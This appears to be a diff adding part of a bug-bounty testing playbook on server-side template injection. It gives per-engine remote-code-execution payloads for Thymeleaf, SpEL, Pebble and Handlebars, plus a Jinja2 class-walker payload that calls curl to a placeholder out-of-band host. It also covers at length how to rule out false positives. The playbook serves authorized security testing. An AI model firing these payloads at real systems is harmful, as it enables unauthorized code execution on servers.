+- **Validation:** Output reflected or OOB.
+- **Pay-grade rationale:** Critical.
+
+### Thymeleaf (Java — Spring Boot default template engine)
+- **When to suspect:** Spring app, templates use `*{...}` or `${...}` syntax. Specifically *expression preprocessing* `__${...}__` and fragment-rendering features.
+- **Test:**
+ ```
+ *{T(java.lang.Runtime).getRuntime().exec('id')}
+ ${T(java.lang.Runtime).getRuntime().exec('id')}
+ ```
+ Fragment-rendering expression preprocessing (CVE-2017-1320x family):
+ ```
+ __${T(java.lang.Runtime).getRuntime().exec('id')}__
+ ```
+- **Validation:** Process spawned (no return value visible in template by default — use OOB).
+- **Pay-grade rationale:** Critical.
+
+### Spring SpEL injection in custom evaluator
+- **When to suspect:** Spring app, source-code grep hits `SpelExpressionParser`, `parseExpression`, `@Value("#{...}")` with user input.
+- **Test:**
+ ```
+ T(java.lang.Runtime).getRuntime().exec('id')
+ new java.lang.ProcessBuilder('id').start()
+ T(org.springframework.cglib.core.ReflectUtils).defineClass(...)
+ ```
+- **Validation:** Process spawn, OOB callback.
+- **Pay-grade rationale:** Critical.
+
+### Pebble (Java — alternative Spring Boot template engine)
+- **When to suspect:** Java app uses `.pebble` templates or Pebble explicit in `pom.xml`. `{{7*7}}` returned `49`.
+- **Test:**
+ ```
+ {{ "".getClass().forName("java.lang.Runtime").getRuntime().exec("id") }}
+ {{ variable.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...") }}
+ ```
+- **Validation:** OOB or output reflection.
+- **Pay-grade rationale:** Critical.
+
+### Handlebars / Mustache server-side rendering (Node.js)
+- **When to suspect:** Node.js backend renders Handlebars server-side (often in `express-handlebars` configurations or static-site generators). Helpers can be registered with user input.
+- **Test:** Engine has no native RCE primitive — must abuse helper registration:
+ ```
+ {{#with "constructor"}}{{#with split as |a|}}{{pop (push "alert(1)")}}{{/with}}{{/with}}
+ ```
+ More commonly: prototype-pollution chain (`__proto__` injection) reaches Handlebars helper, which then evaluates a polluted property as code.
+- **Validation:** OOB callback or `Function`-constructed code firing.
+- **Pay-grade rationale:** High to critical when chained.
+
+### Server-side Liquid (Shopify / Jekyll)
+- **When to suspect:** Shopify storefront preview, Jekyll-rendered customer pages. `{{ 7 | times: 7 }}` returns `49`.
+- **Test:** Liquid is heavily sandboxed and has no native RCE. Hunt for sandbox escapes published as CVEs against specific Liquid versions, or pivot to information disclosure via `{{ settings }}`, `{{ shop }}`, `{{ customer }}` field dumps.
+- **Validation:** Information disclosure of fields the current session should not see.
+- **Pay-grade rationale:** Medium standalone (info disclosure); high when chained to ATO.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### `{{ }}` rendered client-side (Angular / Vue) misclassified as SSTI
+- **Looks like:** You paste `{{7*7}}` into a form, view the rendered page, and see `49`. Looks like server-side template injection.
+- **Actually is:** The `49` was rendered in the *browser* by Angular, Vue, React with mustache plugins, or a similar client-side framework. The server returned the literal `{{7*7}}` string; the browser then evaluated it. This is a client-side template injection (CSTI) — at best a sandbox-escape XSS, never RCE on the server.
+- **How to disprove:** View the *raw* HTTP response (Burp, `curl --raw`) and grep for `{{7*7}}`. If the literal string is present in the response bytes and the `49` only appears in the rendered DOM, the rendering is client-side. Server-side SSTI shows `49` in the raw response bytes. Marker Discipline: pair `{{7*7}}` with a unique marker string (e.g. `SSTIPROBE-{random}`) and confirm the math result coexists in the raw response with the marker rendered correctly.
+
+### Probe `{{7*7}}` returning literal `{{7*7}}` claimed as "engine fingerprint"
+- **Looks like:** Response contains the unmodified `{{7*7}}` literal — operator thinks "OK, it's not Jinja2/Twig, must be some other engine."
+- **Actually is:** No template rendering happened *at all*. The string passed through as plain text. There is no SSTI primitive here, regardless of how creative the operator gets with payload variations.
+- **How to disprove:** **Body-Diff Rule.** Compare the response from `{{7*7}}` to the response from `{{NotARealVariable}}`. If both return the literal string unchanged with no error, the input is being treated as inert text. SSTI requires *some* evaluation channel; if none of the detection-grid probes (`{{}}`, `${}`, `<%=%>`, `#{}`, `*{}`) produces any change in body, error, or status, there is no template-injection primitive here.
+
+### Markdown / HTML sanitizer that strips `{{}}` claimed as bypass
+- **Looks like:** The application uses a Markdown renderer that strips `{{7*7}}`. You find that `{{7&#42;7}}` (HTML-encoded asterisk) is not stripped and shows `49` in the rendered output.
+- **Actually is:** The Markdown renderer is decoding the entity *after* template processing, so what reached the template was `{{7&#42;7}}` (not a valid expression) and what was rendered was the entity-decoded literal — which still shows `49` if the renderer also evaluates `7*7` as math somewhere, but is more likely just the literal `7*7` displayed because the asterisk decoded.
+- **How to disprove:** Compute the result of the expression in the response. If the response shows literal `7*7` (not `49`), no evaluation happened. If it shows `49`, confirm by changing the operands — `{{8&#42;9}}` should show `72`. If it doesn't, the `49` was a literal coincidence, not an evaluation.
+
+### "Engine fingerprint" from error stack trace claimed without RCE proof
+- **Looks like:** You send `{{7*7}}` and the response contains a stack trace mentioning `jinja2.exceptions.TemplateSyntaxError`. You report "SSTI in Jinja2."
+- **Actually is:** A stack trace proves that *some* Jinja2 code was reached — but the reachable Jinja2 context may be a *trusted* template that uses `render_template()` (loads a file from disk, not user input) rather than `render_template_string()` (renders a string, the SSTI sink). User input may be reaching a `TemplateSyntaxError` because it's being passed to a *variable inside* an existing template, where the template renderer correctly escapes it — but the parser still complains about the syntax.
+- **How to disprove:** **OOB Gate.** A real SSTI must produce a side effect — Collaborator callback, file write, command output. Fire `{{ ''.__class__.__mro__[1].__subclasses__()[<N>]('curl http://<collab>/', shell=True, stdout=-1).communicate() }}` and wait. No callback → no RCE → not reportable as RCE. Report the info-disclosure (stack trace) separately at low severity.
+
+### Client-side WYSIWYG that "executes" preview server-side
+- **Looks like:** Email-template builder shows a "preview" of `{{ user.first_name }}` correctly substituting the user's name. You assume the preview is server-side rendered and inject `{{7*7}}` → response shows `49`. Reported as SSTI.
+- **Actually is:** Many email-template builders render the preview server-side *only when the user clicks Send* (where the actual SMTP path runs the real template engine), but the live preview in the UI is rendered client-side by a JS template library (Mustache.js, Handlebars.js, custom). The `49` in the preview is browser-rendered.
+- **How to disprove:** **Send a real test email** (or trigger the actual delivery path) and observe whether the math executes on the recipient end. If the preview shows `49` but the delivered email shows literal `{{7*7}}`, the preview was client-side. If the email also shows `49` and you can chain to a class-walker payload that fires OOB from the *email delivery server's IP*, you have real SSTI. Marker Discipline: use unique Collaborator subdomains per probe so the delivery server can be identified by source IP.